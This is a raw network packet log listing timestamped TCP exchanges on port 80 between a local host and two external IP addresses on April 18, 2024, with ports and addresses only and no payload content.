Apr 18, 2024 23:40:06.660506964 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660528898 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660541058 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660568953 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660578012 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660607100 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660629034 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660645008 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660670996 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660682917 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660690069 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660721064 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660731077 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660758972 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660768032 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660795927 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660809040 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660835028 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660847902 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660872936 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660890102 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660912037 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660918951 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660948992 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.660963058 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.660989046 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661000013 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661026001 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661043882 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661063910 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661078930 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661103010 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661112070 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661142111 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661150932 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661180973 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661190033 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661218882 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661238909 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661254883 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661277056 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661293983 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661298990 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661330938 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661365032 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661369085 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661391020 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661406994 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661413908 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661443949 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661464930 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661482096 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661490917 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661520004 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661535978 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661556959 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661570072 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661595106 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661611080 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661633015 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661640882 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661670923 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661679029 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661708117 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661725998 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661745071 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661755085 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661782980 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661798000 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661823034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661842108 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661859989 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661878109 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661896944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661910057 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661936045 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661945105 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.661973000 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.661983013 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662012100 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662020922 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662049055 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662060022 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662086964 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662096024 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662123919 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662138939 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662163973 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662177086 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662201881 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662215948 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662240982 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662247896 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662278891 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662286043 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662317991 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662337065 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662354946 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662367105 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662394047 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662401915 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662431955 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662450075 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662470102 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662499905 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662507057 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662524939 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662544966 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662549973 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662583113 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662590027 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662620068 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662632942 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662657976 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662669897 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662695885 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662708998 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662734985 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662751913 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662772894 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662775993 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662810087 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662817955 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662848949 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662858009 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662887096 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662897110 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662926912 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.662940025 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.662981033 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.740923882 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.740993977 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.741033077 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.741071939 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.741082907 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.741113901 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.741118908 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.741163015 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.741209030 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.741209984 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.741256952 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.741301060 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.741321087 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.741339922 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.741348028 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.741353035 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.741390944 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.741426945 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.741441011 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.741463900 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.741498947 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.741509914 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.741537094 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.741540909 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.741573095 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.741609097 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.741616011 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.741646051 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.741682053 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.741691113 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.741719961 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.741719961 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:06.743443966 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:06.890933990 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.891001940 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.891022921 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.891078949 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.900255919 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.901155949 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.901200056 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.901246071 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.901253939 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.901288986 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.901308060 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.901310921 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.902180910 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.902225018 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.902250051 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.902277946 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.902920008 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.902959108 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.902996063 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.903013945 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.903033972 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.903064966 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.903086901 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.913372040 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.913409948 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.913448095 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.913469076 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.913487911 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.913503885 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.913530111 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.913538933 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.913569927 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.913583994 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.913624048 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.913711071 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.913749933 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.913764000 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.913785934 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.913806915 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.913822889 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.913835049 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.913868904 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.913877964 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.913907051 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.913916111 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.913944960 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.913964033 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.913980961 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914000034 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914016962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914025068 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914056063 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914067030 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914096117 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914109945 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914132118 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914150000 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914170027 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914174080 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914207935 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914218903 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914243937 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914261103 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914283037 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914319038 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914338112 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914355993 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914367914 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914391994 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914411068 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914428949 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914463997 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914480925 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914500952 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914516926 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914536953 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914555073 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914575100 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914591074 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914617062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914619923 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914654016 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914690018 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914726019 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914758921 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914762974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914796114 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914800882 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914815903 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914838076 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914855957 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914874077 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914889097 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914911032 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914930105 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914948940 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914952040 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.914985895 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.914992094 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915020943 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915038109 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915059090 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915074110 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915096045 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915119886 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915136099 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915143013 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915175915 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915193081 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915213108 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915229082 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915250063 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915257931 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915286064 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915321112 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915323973 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915340900 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915364027 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915399075 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915400982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915422916 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915436983 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915442944 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915474892 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915486097 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915510893 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915524960 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915549994 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915585041 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915611982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915622950 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915630102 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915658951 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915677071 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915697098 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915700912 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915734053 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915750027 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915771008 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915783882 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915807962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915819883 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915848017 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915854931 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915885925 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915899038 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915921926 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915951014 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.915958881 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.915972948 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916002035 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916008949 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916014910 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916049957 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916053057 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916068077 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916090965 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916122913 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916142941 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916155100 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916193008 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916203022 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916229963 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916239977 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916266918 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916270018 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916305065 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916320086 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:06.916342974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:06.916352034 CEST	49739	80	192.168.2.4	193.233.132.167
